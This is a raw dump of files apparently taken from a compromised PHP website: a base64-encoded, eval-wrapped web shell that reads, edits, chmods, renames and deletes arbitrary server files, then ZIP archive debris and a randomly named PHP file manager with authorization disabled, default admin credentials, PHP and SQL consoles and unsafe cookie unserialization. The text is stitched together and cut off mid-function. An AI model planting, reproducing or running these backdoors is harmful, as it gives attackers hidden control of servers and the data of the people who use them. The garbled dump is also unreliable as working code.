ZXJ0KCfgpK7gpL7gpKjgpY3gpK8hIScpPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxzY3JpcHQ+
YWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyBVcGxvYWQnKTwvc2NyaXB0
PiI7Cn0KfWVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewplY2hvICI8dHI+PHRkPkN1
cnJlbnQgRmlsZSA6ICI7CmVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsKZWNobyAnPC90cj48L3RkPjwv
dGFibGU+PGJyIC8+JzsKZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29u
dGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2UgaWYoaXNzZXQoJF9HRVRb
J29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48
YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsn
b3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRf
UE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0
aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgnU3Vrc2VzJyk8L3NjcmlwdD4iOwp9ZWxzZXsK
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfQplY2hv
ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJj
b2wiPgo8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vi
c3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiBjbGFz
cz0iZm9ybS1jb250cm9sIj4KCTwvZGl2Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRo
IiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
b3B0IiB2YWx1ZT0iY2htb2QiPgoJPGRpdiBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIj4K
CTwvZGl2PgoJPC9kaXY+CjwvZm9ybT4nOwp9ZWxzZSBpZigkX1BPU1RbJ29wdCddID09ICdyZW5h
bWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0
aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkqOCkvuCkriDgpKzgpKbgpLIg4KSm
4KS/4KSv4KS+IOCkl+Ckr+CkviDgpLngpYghJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNj
cmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHg
pKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KJF9QT1NUWyduYW1lJ10g
PSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBj
bGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJjb2wiPgo8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlw
ZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIGNsYXNzPSJmb3Jt
LWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJOYW1hIEJhcnUiPgoJPC9kaXY+CjxpbnB1dCB0eXBlPSJo
aWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgoJPGRpdiBjbGFzcz0iY29sIj4K
PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXBy
aW1hcnkgYnRuLWJsb2NrIj4KPC9kaXY+CjwvZGl2Pgo8L2Zvcm0+JzsKfWVsc2UgaWYoJF9QT1NU
WydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVu
KCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hv
ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCk
q+CksuCkpOCkr+CkviDgpKjgpL7gpK4g4KSq4KSw4KS/4KS14KSw4KWN4KSk4KS/4KSk4KSu4KWN
IEZpbGUnKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0n
P3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+Ck
gyEhIScpPC9zY3JpcHQ+IjsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBP
U1QiPgo8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iOCIgbmFtZT0ic3JjIj4n
Lmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90
ZXh0YXJlYT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NU
WydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQi
Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i4KSw4KSV4KWN4KS34KWNIiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIG10LTMiPgo8L2Zvcm0+JzsKfQplY2hvICc8
L2NlbnRlcj4nOwp9ZWxzZXsKZWNobyAnPC90YWJsZT48YnIvPjxjZW50ZXI+JzsKaWYoaXNzZXQo
JF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKaWYoJF9QT1NU
Wyd0eXBlJ10gPT0gJ2RpcicpewppZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewplY2hvICI8c2Ny
aXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCkq+CksiBE
ZWxldGUgRm9sZGVyJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9j
YXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDg
pY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Zp
bGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93Lmxv
Y2F0aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgn4KS44KSr4KSyIERlbGV0ZSBGaWxlJyk8
L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIu
JHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwv
c2NyaXB0PiI7Cn0KfQp9CmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0
aCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlLWxnIG10LTIiPgoJPHRhYmxl
IGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI+CgkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRl
eHQtY2VudGVyIj4KCQkJPHRyPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkqOCkvuCkruCkgzwvdGg+
CgkJCQk8dGggc2NvcGU9ImNvbCI+4KSq4KWN4KSw4KSV4KS+4KSw4KSDPC90aD4KCQkJCTx0aCBz
Y29wZT0iY29sIj7gpIbgpJXgpYPgpKTgpL88L3RoPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkheCk
qOClgeCknOCljeCknuCkvuCkquCkpOCljeCksOCkruCljTwvdGg+CgkJCQk8dGggc2NvcGU9ImNv
bCI+4KSo4KS+4KSu4KSq4KSk4KWN4KSwPC90aD48L3RyPjwvdGhlYWQ+CgknOwoJZm9yZWFjaCgk
c2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAn
LicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQgc2NvcGU9ImNvbCI+
PGltZyBzcmM9Imh0dHA6Ly9hdXguaWNvbnNwYWxhY2UuY29tL3VwbG9hZHMvZm9sZGVyLWljb24t
MjU2LTE3ODc2NzI0ODIucG5nIiBjbGFzcz0iaWNvIj4gPGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4n
LycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5Gb2xk
ZXI8L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj4tLTwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1j
ZW50ZXIiPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAn
PGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dy
aXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBl
Y2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPjxmb3Jt
IG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KCTxkaXYgY2xh
c3M9InJvdyI+CgkJPGRpdiBjbGFzcz0iY29sIj4KPHNlbGVjdCBuYW1lPSJvcHQiIGNsYXNzPSJj
dXN0b20tc2VsZWN0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2
YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9k
PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0
Pgo8L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+Cjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRkaXIuJyI+CjxpbnB1dCB0
eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZGlyLiciPgoJPGRp
diBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4g
YnRuLW91dGxpbmUtcHJpbWFyeSBidG4tYmxvY2siPgoJPC9kaXY+Cgk8L2Rpdj4KPC9mb3JtPjwv
dGQ+CjwvdHI+JzsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBh
dGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxl
KS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUg
PSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsK
fQoKZWNobyAnPHRyPgo8dGQ+PGltZyBzcmM9Iic7CgkJCQkJJGV4dCA9IHN0cnRvbG93ZXIocGF0
aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoJCQkJCWlmKCRleHQgPT0gInBocCIp
IHsKCQkJCQkJZWNobwkKCQkJJ2h0dHA6Ly9pLmltZ3VyLmNvbS9lOG1rdlBmLnBuZyInOyAKCQkJ
CQl9ZWxzZWlmICgkZXh0ID09ICJqcGVnIikgewoJCQkJCQllY2hvICdodHRwOi8vaS5pbWd1ci5j
b20vZThta3ZQZi5wbmciJzsgCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKSB7CgkJCQkJCWVj
aG8gJ2h0dHA6Ly9pLmltZ3VyLmNvbS9Qbm1YOEg5LnBuZyc7IAoJCQkJCX1lbHNlewoJCQkJCQll
Y2hvICdodHRwOi8vaWNvbnMuaWNvbmFyY2hpdmUuY29tL2ljb25zL3pob29sZWdvL21hdGVyaWFs
LzI1Ni9GaWxldHlwZS1Eb2NzLWljb24ucG5nJzsKCQkJCQl9CgkJCQkJZWNobyAnIiBjbGFzcz0i
aWNvMiI+IDxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRo
LiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5GaWxlPC90ZD4K
PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+Jy4kc2l6ZS4nPC90ZD4KPHRkIGNsYXNzPSJ0ZXh0LWNl
bnRlciI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8g
Jzxmb250IGNvbG9yPSJyZWQiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsKaWYoaXNf
d3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxl
KSkgZWNobyAnPC9mb250Pic7CmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJ
PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgoJCTxk
aXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImNvbCI+CjxzZWxlY3QgbmFtZT0ib3B0IiBj
bGFzcz0iY3VzdG9tLXNlbGVjdCI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+Cjxv
cHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9k
Ij5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8
b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8L2Rpdj4KPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJy8nLiRmaWxlLiciPgoJPGRpdiBjbGFzcz0iY29s
Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5l
LXByaW1hcnkgYnRuLWJsb2NrIj4KCTwvZGl2PgoJPC9kaXY+CjwvZm9ybT48L3RkPgo8L3RyPic7
Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQo/PiAgICAgICAgICAKICAgICAgPC9kaXY+CiAg
ICA8L2Rpdj4KICA8L2Rpdj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v
anF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1xOGkvWCs5NjVEek8w
clQ3YWJLNDFKU3RRSUFxVmdSVnpwYnpvNXNtWEtwNFlmUnZIKzhhYnRURTFQaTZqaXpvIiBjcm9z
c29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nk
bmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIu
bWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFV
QWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3Vz
Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBj
ZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNo
YTM4NC1DaGZxcXh1WlVDbkpTSzMrTVhtUE5JeUU2WmJXaDJJTXFFMjQxcllpcUp4eU1pWjZPVy9K
bVpRNXN0d0VVTFR5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICA8c2NyaXB0
PgogICAgJCgiI21lbnUtdG9nZ2xlIikuY2xpY2soZnVuY3Rpb24oZSkgewogICAgICBlLnByZXZl
bnREZWZhdWx0KCk7CiAgICAgICQoIiN3cmFwcGVyIikudG9nZ2xlQ2xhc3MoInRvZ2dsZWQiKTsK
ICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmZ1bmN0aW9uIHBlcm1z
KCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAw
KSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAm
IDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxz
ZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICct
JzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVj
aWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7
Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09
IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgk
cGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0g
ZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBl
cm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/
ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgw
ODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgov
LyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAu
PSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4
MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgw
NDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQp
ID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsK
JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDog
J3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsK
fQo/Pg=="));?>PK �9m\�0a�n� n� ihmkq.phpnu �[��� <?php
/**
* PHP File Manager
* A complete web-based file management solution
*/
// =============================================
// CONFIGURATION SECTION
// =============================================
// Basic Configuration
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$fm_version = '2.0';
// Supported Languages
$langs = array('en', 'ru', 'de', 'fr', 'ja', 'uk');
$default_language = 'en';
$detect_lang = true;
// Path Configuration
$path = empty($_REQUEST['path']) ? realpath('.') : realpath($_REQUEST['path']);
if (!$path) $path = realpath('.');
$path = str_replace('\\', '/', $path) . '/';
$main_path = str_replace('\\', '/', realpath('./'));
// PHP Version Check
$phar_maybe = (version_compare(phpversion(), "5.3.0", "<")) ? true : false;
// Message Container
$msg = '';
// =============================================
// AUTHORIZATION CONFIGURATION
// =============================================
$authorization = '{
"authorize": 0,
"days_authorization": 30,
"login": "admin",
"password": "phpfm",
"cookie_name": "fm_user",
"script": ""
}';
$auth = json_decode($authorization, true);
// =============================================
// TRANSLATION SYSTEM
// =============================================
$translation = '{
"id": "en",
"File manager": "File Manager",
"Login": "Login",
"Password": "Password",
"Enter": "Enter",
"Language": "Language",
"English": "English",
"German": "German",
"Russian": "Russian",
"French": "French",
"Ukrainian": "Ukrainian",
"Settings": "Settings",
"done": "done",
"Error occurred": "Error occurred",
"File updated": "File updated",
"Back": "Back",
"Edit": "Edit",
"Submit": "Submit",
"Cancel": "Cancel",
"Rights": "Permissions",
"Recursively": "Recursively",
"Rename": "Rename",
"Files uploaded": "Files uploaded",
"Deleted": "Deleted",
"Created": "Created",
"Make directory": "Create Directory",
"New file": "New File",
"Select the file": "Select the file",
"Upload": "Upload",
"Hello": "Hello",
"Quit": "Logout",
"Filename": "Filename",
"Size": "Size",
"Date": "Date",
"Manage": "Manage",
"Show": "Show",
"Download": "Download",
"Delete": "Delete",
"Are you sure you want to delete this directory (recursively)?": "Are you sure you want to delete this directory (recursively)?",
"Are you sure you want to delete this file?": "Are you sure you want to delete this file?",
"File selected": "File selected",
"Compress": "Compress",
"Archiving": "Archiving",
"Task": "Task",
"Reset settings": "Reset Settings",
"Cookie": "Cookie",
"Days": "Days",
"Script": "Script",
"Save": "Save",
"Add": "Add",
"Name": "Name",
"Value": "Value",
"templates": "templates",
"Console": "Console",
"Result": "Result",
"Reset": "Reset",
"Select": "Select",
"Template": "Template",
"Home": "Home",
"Generation time": "Generation time",
"Recursive search": "Recursive search",
"Mask": "Mask",
"Search": "Search",
"Found in files": "Found in files",
"Nothing founded": "Nothing found",
"No file": "No file",
"to": "to",
"Archive": "Archive",
"Mode is incorrect": "Mode is incorrect",
"Directory is not readable": "Directory is not readable",
"File already exists": "File already exists",
"as folder": "as folder",
"Cannot create directory": "Cannot create directory",
"Cannot write to file": "Cannot write to file",
"Size of file": "Size of file",
"is incorrect": "is incorrect",
"Invalid file descriptor": "Invalid file descriptor",
"is not readable": "is not readable",
"Cannot rename": "Cannot rename",
"Error": "Error",
"Authorization": "Authorization",
"Restore file time after editing": "Restore file time after editing",
"Show size of the folder": "Show folder size",
"Show pictures": "Show images",
"Show PHP version": "Show PHP version",
"Show PHP ini": "Show PHP configuration",
"Show generation time": "Show generation time",
"Show PHP Console": "Show PHP Console",
"Show SQL Console": "Show SQL Console",
"Show Proxy": "Show Proxy",
"Show xls": "Show Excel export",
"Decompress": "Decompress",
"no files": "no files",
"Success": "Success"
}';
$lang = json_decode($translation, true);
// =============================================
// DEFAULT CONFIGURATION
// =============================================
$fm_default_config = array(
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false,
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false,
'show_gt' => true,
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => false,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
// Load user configuration
if (empty($_COOKIE['fm_config'])) {
$fm_config = $fm_default_config;
} else {
$fm_config = unserialize($_COOKIE['fm_config']);
if (!is_array($fm_config)) {
$fm_config = $fm_default_config;
}
}
// =============================================
// LANGUAGE DETECTION
// =============================================
// Change language from POST
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)) {
foreach ($lang_priority as $lang_arr) {
$lng = explode(';', $lang_arr);
$lng = substr($lng[0], 0, 2);
if (in_array($lng, $langs)) {
$language = $lng;
break;
}
}
}
}
// Use cookie language if set
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// =============================================
// CORE FUNCTIONS
// =============================================
/**
* Translation function
*/
function __($text) {
global $lang;
return isset($lang[$text]) ? $lang[$text] : $text;
}
/**
* Delete files and directories recursively
*/
function fm_del_files($file, $recursive = false) {
if ($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if ($el != '.' && $el != '..') {
fm_del_files($file . '/' . $el, true);
}
}
}
if (@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
/**
* Get file permissions string
*/
function fm_rights_string($file, $if = false) {
$perms = fileperms($file);
$info = '';
if (!$if) {
if (($perms & 0xC000) == 0xC000) {
$info = 's'; // Socket
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l'; // Symbolic Link
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-'; // Regular
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b'; // Block special
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd'; // Directory
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c'; // Character special
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p'; // FIFO pipe
} else {
$info = 'u'; // Unknown
}
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
/**
* Convert rights string to octal
*/
function fm_convert_rights($mode) {
$mode = str_pad($mode, 9, '-');
